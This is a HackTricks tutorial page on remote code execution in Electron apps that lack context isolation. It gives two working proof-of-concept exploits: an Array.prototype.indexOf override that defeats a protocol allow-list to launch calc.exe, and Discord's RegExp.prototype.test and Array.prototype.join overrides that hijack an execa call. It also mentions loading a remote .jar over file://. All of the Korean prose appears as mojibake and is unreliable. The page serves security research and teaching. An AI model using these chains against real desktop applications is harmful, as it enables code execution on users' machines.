Electron contextIsolation RCE via preload code

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Example 1

https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30์˜ ์˜ˆ์‹œ

์ด ์ฝ”๋“œ๋Š” ๊ธฐ๋ณธ ๋ธŒ๋ผ์šฐ์ €๋กœ http(s) ๋งํฌ๋ฅผ ์—ฝ๋‹ˆ๋‹ค:

file:///C:/Windows/systemd32/calc.exe์™€ ๊ฐ™์€ ๊ฒƒ์„ ์‚ฌ์šฉํ•˜์—ฌ calc๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, SAFE_PROTOCOLS.indexOf๊ฐ€ ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๋Š” XSS ๋˜๋Š” ์ž„์˜ ํŽ˜์ด์ง€ ํƒ์ƒ‰์„ ํ†ตํ•ด ์ด JS ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>

SAFE_PROTOCOLS.indexOf๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด ํ•ญ์ƒ 1337์„ ๋ฐ˜ํ™˜ํ•˜๋ฏ€๋กœ, ๊ณต๊ฒฉ์ž๋Š” ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•˜๊ณ  calc๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ตœ์ข… ์ต์Šคํ”Œ๋กœ์ž‡:

<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

์›๋ณธ ์Šฌ๋ผ์ด๋“œ๋ฅผ ํ™•์ธํ•˜์—ฌ ๊ถŒํ•œ ์š”์ฒญ ํ”„๋กฌํ”„ํŠธ ์—†์ด ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜๋Š” ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ์ฐพ์•„๋ณด์„ธ์š”.

๋‹ค๋ฅธ ์ฝ”๋“œ ๋กœ๋“œ ๋ฐ ์‹คํ–‰ ๋ฐฉ๋ฒ•์€ file://127.0.0.1/electron/rce.jar์™€ ๊ฐ™์€ ๊ฒฝ๋กœ์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์˜ˆ์ œ 2: Discord ์•ฑ RCE

https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1์—์„œ์˜ ์˜ˆ์ œ

ํ”„๋ฆฌ๋กœ๋“œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ™•์ธํ•˜๋Š” ๋™์•ˆ, Discord๊ฐ€ DiscordNative.nativeModules.requireModule('MODULE-NAME')๋ฅผ ํ†ตํ•ด ํ—ˆ์šฉ๋œ ๋ชจ๋“ˆ์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์„ ์›น ํŽ˜์ด์ง€์— ๋…ธ์ถœํ•œ๋‹ค๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.
์—ฌ๊ธฐ์„œ child_process ๋ชจ๋“ˆ๊ณผ ๊ฐ™์ด RCE์— ์ง์ ‘ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“ˆ์€ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์—ˆ์ง€๋งŒ, JavaScript ๋‚ด์žฅ ๋ฉ”์„œ๋“œ๋ฅผ ์˜ค๋ฒ„๋ผ์ด๋“œํ•˜๊ณ  ๋…ธ์ถœ๋œ ๋ชจ๋“ˆ์˜ ์‹คํ–‰์— ๊ฐ„์„ญํ•จ์œผ๋กœ์จ RCE๋ฅผ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ์ฝ”๋“œ๋ฅผ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ์€ PoC์ž…๋‹ˆ๋‹ค. RegExp.prototype.test์™€ Array.prototype.join์„ ์˜ค๋ฒ„๋ผ์ด๋“œํ•˜๋Š” ๋™์•ˆ devTools์—์„œ โ€œdiscord_utilsโ€œ๋ผ๋Š” ๋ชจ๋“ˆ์— ์ •์˜๋œ getGPUDriverVersions ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ calc ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํŒ์—…๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()

getGPUDriverVersions ํ•จ์ˆ˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด โ€œexecaโ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}

const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}

return result
}

๋ณดํ†ต execa_๋Š” nvidiaSmiPath ๋ณ€์ˆ˜์— ์ง€์ •๋œ โ€œnvidia-smi.exeโ€œ๋ฅผ ์‹คํ–‰ํ•˜๋ ค๊ณ  ํ•˜์ง€๋งŒ, ์˜ค๋ฒ„๋ผ์ด๋“œ๋œ RegExp.prototype.test์™€ Array.prototype.join ๋•Œ๋ฌธ์— ์ธ์ˆ˜๊ฐ€ _execa_์˜ ๋‚ด๋ถ€ ์ฒ˜๋ฆฌ์—์„œ โ€œcalc_โ€œ๋กœ ๋Œ€์ฒด๋ฉ๋‹ˆ๋‹ค.

๊ตฌ์ฒด์ ์œผ๋กœ, ์ธ์ˆ˜๋Š” ๋‹ค์Œ ๋‘ ๋ถ€๋ถ„์„ ๋ณ€๊ฒฝํ•˜์—ฌ ๋Œ€์ฒด๋ฉ๋‹ˆ๋‹ค.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ